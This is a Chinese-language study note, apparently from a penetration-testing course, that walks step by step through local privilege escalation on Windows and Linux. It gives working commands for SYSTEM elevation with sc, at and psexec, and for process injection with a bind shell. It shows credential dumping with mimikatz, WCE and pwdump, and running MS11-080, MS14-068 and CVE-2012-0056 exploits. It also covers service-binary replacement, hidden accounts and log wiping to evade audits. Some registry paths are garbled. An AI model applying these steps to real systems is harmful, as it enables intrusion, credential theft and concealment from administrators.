安全牛-提权

auth.log


本地提权
已实现本地低权限账号登录
  远程溢出
  直接获得账号密码
希望获取更高权限
  实现对目标进一步控制

前提:
已经登录到目标系统的服务器上,但是得到的是一个低权限用户,进行提权,最终达到全面控制目标系统


系统账号之间权限隔离
  操作系统安全的基础
  用户空间
  内核空间
系统账号
  用户账号登陆时获取权限令牌
  服务账号无需用户登陆已在后台启动服务

了解:
操作系统多用户,没有单用户的。
多用户操作系统指的是一个系统里可以设置多个用户账号,可以是用户账号也可以是应用程序的账户(让某些应用程序以这个账户去执行应用程序)。

目的:
实现不同账户之间的权限分离,因为所有的事情给一个账号去做,那么就需要给这个账号最大的权限。账户密码一旦失窃,HACK获得之后,控制服务器。

安全建议:
不同的应用,不同的用户,不同的人,都创建各自独立的账号,赋予每个账号相应的权限,给于它完成本职工作足够的权限,除了本职工作之外的权限都不给于。

渗透:
当渗透的时候,拿到一个权限非常受限的账号密码,登录进去发现自己在这个系统中能做的事情很少,有可能只是对一个应用/一个服务可以有基本的控制和使用权,甚至控制权都没有只有使用权,即使拿到账号密码离最终的目的相距甚远。

用户空间:
可以由各个用户账户使用用户空间,在里面执行各种操作,编辑文档/安装软件/对系统进行定制化等等一些操作

内核空间:
工作在与用户空间完全独立的内核空间,内核空间里的所有操作是用户空间里的用户没有办法去接触到的,出于安全性考虑,不同的操作系统也为内核空间的操作,也划分了不同的账号,有的账号可以做一些低层的,核心的操作;也有一些被限制权限非常小,只能做很有限的一点点内核操作。

小结:
现在的操作系统,已经把不同的用户划分到各自非常独立的,非常有限的空间里面。

安全检查:
用户权限的赋予,做安全审计时候,非常非常重要的一个工作项目

用户账号:
最高权限账号创建用户,当用户登陆时获取唯一权限令牌,下一次登录是获取随机令牌。

服务账号:
即使用户账户不登录系统,这些服务用户已在后台启动服务

Windows
  user
  Administrator
  System
Linux
  User
  Root

默认用户:
user,Administrator,System(负责启动系统内核,真正的最大权限者)

用户提权:
user-->administrator-->system(他们的权限之间是有交集,不是完全包含,user被administrator包含)
当获得user提权为administrator
当获得administrator提权为system


ADMIN提权为SYSTEM
Windows system账号
  系统设置管理功能
   SysInternal Suite
      https://technet.microsoft.com/en-us/sysinternals/bb545027
      psexec -i -s -d taskmgr
   at 19:39 /interactive cmd
   sc Create syscmd binPath= "cmd /K start" type= own type= interact
   sc start syscmd


设置密码
net user 账户名字 *
查看当前账户情况(属于哪个组)
net user 账户名字
图形化查看
管理-->本地用户和组-->属性-->隶属于-->哪个组
思路
调用系统功能来提权,这些功能默认使用system去执行
提权--将administrator提权为system
1.at---只能在window xp /window 2003
at /?
at
at 19:39 /interactive cmd  交互
启动任务管理器(查看cmd的权限是否为system)
可以在该cmd窗口下,输入一些命令执行相关操作,举例:notepad
每个进程都单独启动比较繁琐,能否用system账号把administrator的explore杀死
taskmgr 打开,explore 杀死,桌面环境消失
任务管理器中,文件,创建新任务,输入explore ,桌面环境出现,点击开始,可以查看当前用户权限    
这时就不需要使用命令行去执行命令了。
当遇到有些操作需要administrator权限,注销就可以回到administrator
2.sc---win7/win8
创建系统命令
sc Create syscmd binPath= "cmd /K start" type= own type= interact  
查看创建的服务
services.msc
命令行启动
sc start syscmd
3.外置软件
(1)SysInternal Suite
找到whoami程序(不能使用就找网上找一个),放到window/system32/
命令行下使用 whoami(administrator)
sc start syscmd 打开一个新的窗口
whoami(system)
(2)在SysInternal Suite找到PsExec.exe 放到window/system32/
命令行下运行PsExec.exe-->agree
查看参数
-i 交互模式
-s 使用system账号
PsExec.exe -i -s


注入进程提权
隐蔽痕迹
  pinjector.exe
  http://www.tarasco.org/security/Process_Injector/ (工具找不到了。。。)

目的:
实现目的也是从管理员提升成system账户,也可从管理员提升为低权限账号,或者提升生成其他管理员账号。
总之,可以将自己提升成不同权限的账号

思路:
找一个system运行的服务进程,把自己注入到进程里面,注入到进程里就和进程有同样的用户权限,也就是system。

流程:
默认情况下,使用操作系统自带的程序是无法实现的,所以必须使用第三方程序(进程注入器)
下载http://www.tarasco.org/security/Process_Injector/
pinjector.exe放到window/system32/
pinjector.exe 运行命令
pinjector.exe -l 列出可注入的进程
pinjector.exe -p pid cmd 5555 注入到系统正常的服务里,侦听555端口(一定要注入services.exe,查看后面是否为system运行)
netstat -ano | find “5555” 查看端口
任务管理器-->查看-->选择列-->PID(服务名字与PID没有改变)
nc -nv ip 5555 (连接不上,原因防火墙开启)

查看进程,手动查杀进程
SysInternal Suite中有一个presxp文件
查看注入的服务中(详细信息,属性-TCP/UDP),存在的问题。

好处,
不增加任何新的进程,隐蔽痕迹。
即获得system权限,又相当隐蔽的效果。

网上案例
https://www.cnblogs.com/NBeveryday/p/6239351.html  



抓包嗅探--获取目标密码
Windows
  Wireshark
  Omnipeek
  commview--xp
  Sniffpass--基于抓包收集密码
Linux
  Tcpdump
  Wireshark
  Dsniff--基于抓包收集密码

sniffpass-win
win开启sniffpass
kali下开启ftp
service pure-ftpd start
netstat -pantu | grep 21
win访问ftp
ftp://ip
观察sniffpass

Dsniff--kali
dsniff -h
dsniff -i eth0


键盘记录--获取目标密码
Keylogger
木马窃取

法国木马
DarkComet  


本地缓存密码
浏览器缓存的密码
  IE浏览器
  Firefox
网络密码    
无线密码
http://www.nirsoft.net(密码破解网站)
Dump SAM
  Pwdump(kali下面默认集成,该工具可以远程执行)
  /usr/share/windows-binaries/fgdump/


浏览器缓存
登陆一个网站,提示是否记住,这样是为了方便工作使用,因为这次登陆需要输入密码,那么下一次登陆还需要输入密码,这样用户体验差,浏览器为了人性化的考虑,提示保存密码,保存之后下一次登陆网站的时候,浏览器会自动将信息填入到相应的表单中。

思路
如果登陆控制了一台服务器,可以通过一些方法,把浏览器中保存的这些历史账号密码提取出来,从而发现用户登陆更多系统的账户密码

实战
Firefox:Edit--->perferences-->Security-->Eemeber password for sites--->Saved Passwords--->show passwords
IE浏览器:工具-->Internet-->内容-->自动完成“设置”--->管理密码
网络密码-->控制面板-->凭据管理器-->查看相应的凭据
Pwdump(从SAM中读取)-->放入xp系统-->命令行-->Pwdump.exe-->找到数据库window/system32/config/SAM (文本直接读取是打不开的)-->利用Pwdump读取SAM文件账户和密码--->Pwdump.exe localhost-->保存hash-->kali下利用ophcrack破解hash



WINDOWS身份认证过程







WCE(WINDOWS CREDENTIAL EDITOR)
kali目录下,/usr/share/wce/
需要管理员权限
wce-universal.exe -l / -lv
wce-universal.exe -d
wce-universal.exe -e / -r
wce-universal.exe -g
wce-universal.exe -w
LM/NT hash

原理
从内存中读取,必须是用户登录状态

实战
cd /usr/share/wce/
ls
ls -l
将wce-universal.exe拷贝到目标机
wce-universal.exe -l 显示当前已经登录状态的账号
wce-universal.exe -lv 显示当前已经登录账号的详细信息(登录账号不注销,切换查看)
wce-universal.exe -r 每隔5秒,刷新当前已经登录账号状态(登录账号不注销,切换查看)
wce-universal.exe -e 指定刷新时间,刷新当前已经登录账号状态(登录账号不注销,切换查看)
wce-universal.exe -d seesion值 删除
wce-universal.exe -g 计算的值    计算生成的hash值
wce-universal.exe -w 读取内存密码,查看创建的用户与密码
net user xxx 查看用户是否归属于管理员组

将a的会话改为b的会话(账号秘密更改)
wce-universal.exe -i a的luid -s b的账户信息
wce-universal.exe -lv


从内存读取LM / NTLM hash
Digest Authentication Package
NTLM Security Package
Kerberos Security Package
防止WCE攻击
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaSecurity Packages
  kerberos
  msv1_0
  schannel
  wdigest
  tspkg
  pku2u

思路
删除Digest Authentication Package,重启之后使用wce查看密码就看不到了

实战
regedit
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaSecurity Packages
删除wdigest,读取不到密码,系统自动关机,再次启动这时系统已经被注入,被破坏了。继续使用的话容易出现问题。。。



其他工具
pwdump localhost ---提取密码hash值
fgdump
mimikatz
  privilege::debug #提升权限
  sekurlsa::logonPasswords
  ::


fgdump
位置 /usr/share/windows-binaries/
拷贝到目标机器,双击”fgdump“,生成3个文件,查看文件内容
其他账户没有登录的情况下,fgdump依旧可以读取到其他用户密码

mimikatz(大神级别)
位置 /usr/share/mimikatz
ls (选择相应的版本32/64)
拷贝到目标机器
执行命令mimikatz.exe
::  查看参数
privilege::debug 提升权限
sekurlsa::logonPasswords 查看登录信息
process ::list 进程列表
process ::start calc 启动进程
process ::suspend xx 冻住某个进程
process ::resume xx 恢复某个进程
lsadump::sam  读取密码(win7/8可以执行)
lsadump::cache
lsadump::lsa
lsadump::hash
ts:: 终端服务,多用户登录交互
ts::multirdp 打补丁,可以多用户登录,互不干扰

查处操作系统日志
eventvwr
event::clear 清除系统安全性日志
event::drop 不产生新的日志,登录信息不会记录到日志,管理员进行审计会审计不到

misc::cmd 启动cmd
net localgroup
misc::regedit 启动注册表
misc::wifi 查看连接过的无线密码

tocken::
tocken::whoami 查看当前用户
tocken::list


利用漏洞提权(没有打补丁的情况下)
Ms11-080
Kb2592799
  https://technet.microsoft.com/library/security/ms11-080
Pyinstaller
  https://pypi.python.org/pypi/PyInstaller/2.1
python pyinstaller--onefile ms11-080.py
Pywin32
  http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/
MS11-046
  DoS


利用低权限提权
Ms11-080---
表示11年发现的第80个漏洞。
Kb2592799
表示关于漏洞描述以及漏洞的解决办法。
MS11-046
可以实现DoS

实战(PC本地提权)
searchsploit ms11-080 搜索漏洞
cp /usr/share/exploitdb/platforms/windows/local/18176.py .  拷贝到当前目录
复制到目标机器,目标主机安装有p0ython
cd /Python27
python.exe 18176.py    -O XP
在中文版本xp系统上实现的是拒绝服务攻击,在英文版本上实现的是提权    
appwiz.cpl  检查补丁信息
卸载存在的Kb2592799
问题来了,不可能所有的目标机器都有安装python的机会,这时候怎么办?
在本机下编译为exe文件
问题又来了,如何编译?
第一,有python环境;
第二,组件Pyinstaller
第三,组件Pywin32
第四,先装pywin32,后解压Pyinstaller
第五,将解压后的Pyinstaller放到pyhon32中,后将18176.py放入Pyinstaller中
第六,cd --->cd python27PyInstaller-2.1--->dir--->../python.exe PyInstaller.py --onefile 18176.py
第七,将文件拷贝到目标机器的临时文件夹,确认目标机器是普通用户权限(net user xx)
第八,cd -->cd temp-->net user xx(查看当前用户是否为普通用户)---->18176.exe -O XP
第九,再次查看自己的权限,成功提权,所有管理员权限都可以做
net localgroup administration xx /add
接下来可以进行修改管理员权限



Ms14-068

  https://github.com/bidord/pykek
ms14-068.py -u user@lab.com -s userSID -d dc.lab.com
拷贝 TGT_user1@lab.com.ccache 到windows系统
本地管理员登陆
  mimikatz.exe log "kerberos::ptc TGT_user@lab.com.ccache" exit

思路
可通过ms11-080漏洞获得一台机器本地管理员的控制权,但是很多公司有域管理(微软定义安全边界)

前提
拥有本机的管理员权限。

利用
成功利用,可以获得域里面一台普通用户的管理员权限,可以是域里面的一名普通用户,只要具有本机的管理员权限,就可以获得域的管理员权限

搭建域控
47-1 -----(50-60)

实战(win7下可以,xp失败,将本地管理员提权为域控管理员权限)
searchsploit ms14-068 搜索
cp /usr/share/exploitdb/platforms/windows/remote/35474.py .  拷贝到当前目录
1.首先在kali下,生成票据文件
python 35474.py -u user@lab.com -s userSID -d dc.lab.com
-u 指定当前域账号用户,域给分配的最低权限的
-s 账号的SID (net user xx domain,,,,,利用脚本whoami查看)
-d 域名(计算机属性-->计算机名-->完整的计算机名称,解析不了域名,所以直接指定域管理地址IP)
提示输入密码,user@lab.com的密码,已经掌握的密码
2.然后将票据文件拷贝到windows系统去使用
使用本地管理员账号登陆,将票据文件与mimika放在同一个文件夹下
3.最后在windows下利用mimikatz完成票据的提升
cd
dir
kerberos::ptc TGT_user@lab.com.ccache
net use \w2k3.lab.comadmin$  访问域共享文件夹
klist 列举当前身份验证信息
运行-->\w2k3.lab.comc$
regedit 打开一个注册表,连接一个网络注册表
mimikatz.exe log "kerberos::ptc TGT_user@lab.com.ccache" exit
域下的普通用户是无法访问\w2k3.lab.comc$

在域控下,对比3种工具的
fgdump 只能查看本地的用户信息
wce 可以查看域里面的用户信息(当前当管理员登陆到你的机器上,这时候你们同时在线,可以使用wce查看当前登陆用户的信息,前提你是本机的管理员)
mimikatz(privilege::debug 提权---->kerberos::list---->sekurlas::logonPasswords )

库的问题
初次使用ms14-068.py -u user@lab.com -s userSID -d dc.lab.com脚本的时,会遇到一个报错提示,缺少一些库文件
下载软件包
https://github.com/mubix/pykek  



Ubuntu11.10
   http://old-releases.ubuntu.com/releases/11.10/
gcc
  sudo apt-cdrom add && sudo apt-get install gcc
  gcc 18411.c -o exp
CVE-2012-0056
  /proc/pid/mem
  kernels >=2.6.39
  http://blog.zx2c4.com/749


实战
搜索漏洞代码
searchsploit cve-2012-0056
searchsploit 18411.c
拷贝目标机器
cp /usr/share/exploitdb/platforms/linux/local/18411.c .    
目标机器安装gcc
sudo apt-cdrom add && sudo apt-get install gcc    
修改为exp
gcc 18411.c -o exp
给exp权限
chmod +x exp
查看当前权限
w
运行
./exp
命令查看
id

遇到的问题
安装不上gcc

解决办法
加载iso光盘
将光盘挂载到目录mnt或者media/cdrom    
ls /mnt/
ls /media/
mount /dev/cdrom /media/cdrom
查看挂载情况
ls  /media/cdrom
将cd作为更新源
apt-cdrom add
安装gcc    
apt-get install gcc


利用配置不当提权


与漏洞提权相比 更常用的方法
  企业环境
  补丁更新的全部已经安装
  输入变量过滤之外更值得研发关注的安全隐患
  以system权限启动
    NTFS权限允许users修改删除

思路
在一些企业用户安全意识比较好的,有补丁安装更新的策略,不容易发现企业中有一台很老的漏洞供hack去利用,在安全制度比较健全,比较完善的企业里比较难发现这样的漏洞,去完成提权。
在企业环境下,想进行提权,有的情况下就无法利用漏洞了,那么就可以采用其他的一些方法....
利用管理员对服务器权限的分配不当完成权限的提升,操作系统的服务都是默认以system权限运行的,开发人员的意思不够强,没有在代码里进行相应的参数过滤等等安全机制的增加,在操作系统中启动就是以system权限运行的,渗透进入一台主机的话,如果找不到漏洞提权,可以查看当前系统的操作系统权限,查看某些服务是不是以system权限执行,找到存在的系统服务,可以尝试替换启动服务的执行程序,如果执行程序可以替换掉,服务下次开机服务启动的时候,被替换为我们的反弹shell程序,程序被执行,就可以获得系统的执行权限(更加常见的情况)

条件
查看服务的权限(services.msc---是否为本地系统)
同时了解程序NTFS权限(启动的NTFS权限限制不严谨,允许普通用户去修改/删除/替换,就可以使用反弹shell程序替换)


icacls
   icacls c:windows*.exe /save perm /T
   i586-mingw32msvc-gcc -o admin.exe admin.c
Find
   find / -perm 777 -exec ls -l {} ;


如何快速发现配置不当的权限
icacls
icacls c:windows*.exe /save perm /T  保存为文本
打开文本perm,查找“FA:::BU”,

反弹shell代码--admin.c
#include<stdlib.h>
int mian()
i=system("net localgroup administrator a /add");
return 0;
}
编译
 i586-mingw32msvc-gcc -o admin.exe admin.c
查看
file admin.exe
拷贝
cp xx xx

linux下查找
ls -l
find / -perm 777 -exec ls -l {} ;

应用系统的配置文件
  应用连接数据库的配置文件
  后台服务运行账号

思路:
比如渗透进入一个web应用系统,无论是哪种架构的程序,应用服务器与数据库之间都会有连接,基于这个特点控制一台应用服务器权限,可利用应用程序的配置文件,配置文件里面可能存在用户账号密码。

基本信息收集
Linux
   /etc/resolv.conf  dns配置
   /etc/passwd      用户账户
   /etc/shadow      用户密码
   whoami and who -a
   ifconfig -a, iptables -L -n, netstat –r  ip/防火墙设置/网关
   uname –a, ps aux  操作系统版本,进程
   dpkg -l | head 所有安装的软件包

实战
ls /etc/passwd -l
ls /etc/shadow -l

Windows
   ipconfig /all , ipconfig /displaydns, netstat -bnao , netstat –r  所有的网络配置参数/dns缓存/查看路由    
   net view , net view /domain 查看网络共享的
   net user /domain, net user %username% /domain 查域账号
   net accounts, net share   查看当前机器开启的共享
   net localgroup administrators username /add 添加管理员组
   net group "Domain Controllers" /domain 域环境下,可以查看到Domain有哪些主机账户
   net share name$=C: /unlimited  开启C盘共享
   net user username /active:yes /domain  域环境下,在有域管理员权限下,发现锁定账号,启动账号

实战
ipconfig /displaydns 可以发现目标经常访问哪些重要的服务器


WMIC(WINDOWS MANAGEMENT INSTRUMENTATION)
   wmic nicconfig get ipaddress,macaddress 读取mac地址
   wmic computersystemget username 读取当前登录账户
   wmic netlogin get name,lastlogon 读取上次登录记录
   wmic process get caption, executablepath,commandline 读取使用进程
   wmic process where name=“calc.exe" call terminate 结束进程
   wmic os get name,servicepackmajorversion 提取操作系统版本
   wmic product get name,version 查看安装软件
   wmic product where name=“name” call uninstall /nointeractive 后台运行删除软件
   wmic share get /ALL 查看共享文件夹
   wmic /node:"machinename" path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections"1“ 开启远程桌面
   wmic nteventlogget path,filename, writeable 查看当前系统日志

收集敏感数据
商业信息
系统信息
Linux
  /etc ;/usr/local/etc
  /etc/passwd ;/etc/shadow
  .ssh ;.gnupg 公私钥
  The e-mail and data files
 业务数据库 ;身份认证服务器数据库
  /tmp 临时目录

实战:
ls -la 查看.文件
cat .ssh/know_hosts 查看登录过的秘钥
cd .gnupg 公私钥


windows
   SAM 数据库 ; 注册表文件
   %SYSTEMROOT% epairSAM  修复的版本的sam
   %SYSTEMROOT%System32configRegBackSAM  备份的sam
  业务数据库 ; 身份认证数据库
  临时文件目录
   UserProfileAppDataLocalMicrosoftWindowsTemporary Internet Files

实战:



隐藏痕迹
禁止在登陆界面显示新建账号
REG ADD "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows
NTCurrentVersionWinLogonSpecialAccountsUserList" /v uname /T
REG_DWORD /D 0
del %WINDIR%*.log /a/s/q/f
History
日志
   auth.logauth.log / secure
   btmp / wtmp
   lastlog / faillog
其他日志和 HIDS 等

实战:
1.win
禁止在登陆界面显示新建账
REG ADD "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinLogonSpecialAccountsUserList" /v 用户名 /T REG_DWORD /D 0
在net user中不显示
????
删除日志
del %WINDIR%*.log /a/s/q/f
2.kali
ls -l .bash_history    
history -c
lsattr 查看文件属性,与权限相关的
chattr 更改权限
ls auth.log 日志文件
ls btmp 数据文件
ls lastlog 登录信息











原文地址:https://www.cnblogs.com/-lyr/p/11010340.html